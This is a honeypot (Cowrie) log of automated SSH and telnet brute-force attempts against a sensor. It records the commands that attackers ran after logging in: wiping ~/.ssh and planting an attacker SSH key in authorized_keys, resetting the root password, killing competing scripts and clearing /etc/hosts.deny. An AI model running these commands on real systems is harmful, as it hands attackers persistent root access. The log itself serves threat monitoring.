{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.662803Z","src_ip":"192.99.169.99","session":"35fd74ff2f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.759472Z","src_ip":"192.99.169.99","session":"35fd74ff2f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:48.779696Z","src_ip":"192.99.169.99","session":"35fd74ff2f9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.99.169.99","src_port":40712,"dst_ip":"10.17.0.5","dst_port":22,"session":"eab34b16b2f9","protocol":"ssh","message":"New connection: 192.99.169.99:40712 (10.17.0.5:22) [session: eab34b16b2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:48.796633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:48.801423Z","src_ip":"192.99.169.99","session":"eab34b16b2f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:48.819936Z","src_ip":"192.99.169.99","session":"eab34b16b2f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:48.926673Z","src_ip":"192.99.169.99","session":"eab34b16b2f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:48.948565Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:48.953776Z","src_ip":"192.99.169.99","session":"eab34b16b2f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.83","src_port":42866,"dst_ip":"10.17.0.5","dst_port":22,"session":"e19c97c026d2","protocol":"ssh","message":"New connection: 14.103.127.83:42866 (10.17.0.5:22) [session: e19c97c026d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:54.772814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:54.776458Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:55.002504Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Www2026","message":"login attempt [root/Www2026] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:55.943436Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:56.440960Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:56.443617Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:56.447073Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:56.677319Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:57.153547Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:57.156121Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:57.391297Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:57.394771Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":40526,"dst_ip":"10.17.0.5","dst_port":23,"session":"6605a860bca2","protocol":"telnet","message":"New connection: 49.88.156.34:40526 (10.17.0.5:23) [session: 6605a860bca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:02.228111Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.94","src_port":46976,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6178c652184","protocol":"telnet","message":"New connection: 45.79.181.94:46976 (10.17.0.5:23) [session: a6178c652184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:10.508701Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:10.513798Z","src_ip":"45.79.181.94","session":"a6178c652184","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:10.517416Z","src_ip":"45.79.181.94","session":"a6178c652184","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:10.521129Z","src_ip":"45.79.181.94","session":"a6178c652184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.019719600677490234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:10.528295Z","src_ip":"45.79.181.94","session":"a6178c652184","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.94","src_port":46990,"dst_ip":"10.17.0.5","dst_port":23,"session":"50c567e5a763","protocol":"telnet","message":"New connection: 45.79.181.94:46990 (10.17.0.5:23) [session: 50c567e5a763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:10.532690Z"}
{"eventid":"cowrie.session.closed","duration":0.004461050033569336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:10.537074Z","src_ip":"45.79.181.94","session":"50c567e5a763","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:13.681320Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:13.684520Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:13.914658Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:14.402603Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"root:gdkqv5OvX8xT\"|chpasswd|bash","message":"CMD: echo \"root:gdkqv5OvX8xT\"|chpasswd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:14.405972Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ec0e59dd860330691616a73d943a80f54dfe417783e599eca71615039ecc8ad3","size":24,"shasum":"ec0e59dd860330691616a73d943a80f54dfe417783e599eca71615039ecc8ad3","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ec0e59dd860330691616a73d943a80f54dfe417783e599eca71615039ecc8ad3 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:14.636966Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:15.175821Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","message":"CMD: rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:15.179274Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","shasum":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","destfile":"/etc/hosts.deny","message":"Saved redir contents with SHA-256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b to var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:15.413162Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","size":0,"shasum":"a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:15.416573Z","src_ip":"14.103.127.83","session":"e19c97c026d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":52516,"dst_ip":"159.203.135.109","dst_port":22,"session":"e32ba1f6f853","protocol":"ssh","message":"New connection: 193.32.162.151:52516 (159.203.135.109:22) [session: e32ba1f6f853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:47.958208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:47.962510Z","src_ip":"193.32.162.151","session":"e32ba1f6f853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:48.069955Z","src_ip":"193.32.162.151","session":"e32ba1f6f853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:48.476965Z","src_ip":"193.32.162.151","session":"e32ba1f6f853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:49.596694Z","src_ip":"193.32.162.151","session":"e32ba1f6f853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.23.198.128","src_port":52580,"dst_ip":"10.17.0.5","dst_port":22,"session":"df9b2cdd0290","protocol":"ssh","message":"New connection: 103.23.198.128:52580 (10.17.0.5:22) [session: df9b2cdd0290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:52.109337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:52.114469Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:52.356963Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Fd123456","message":"login attempt [root/Fd123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:53.350674Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:55:53.901237Z","src_ip":"103.23.198.128","session":"df9b2cdd0290","protocol":"ssh"}
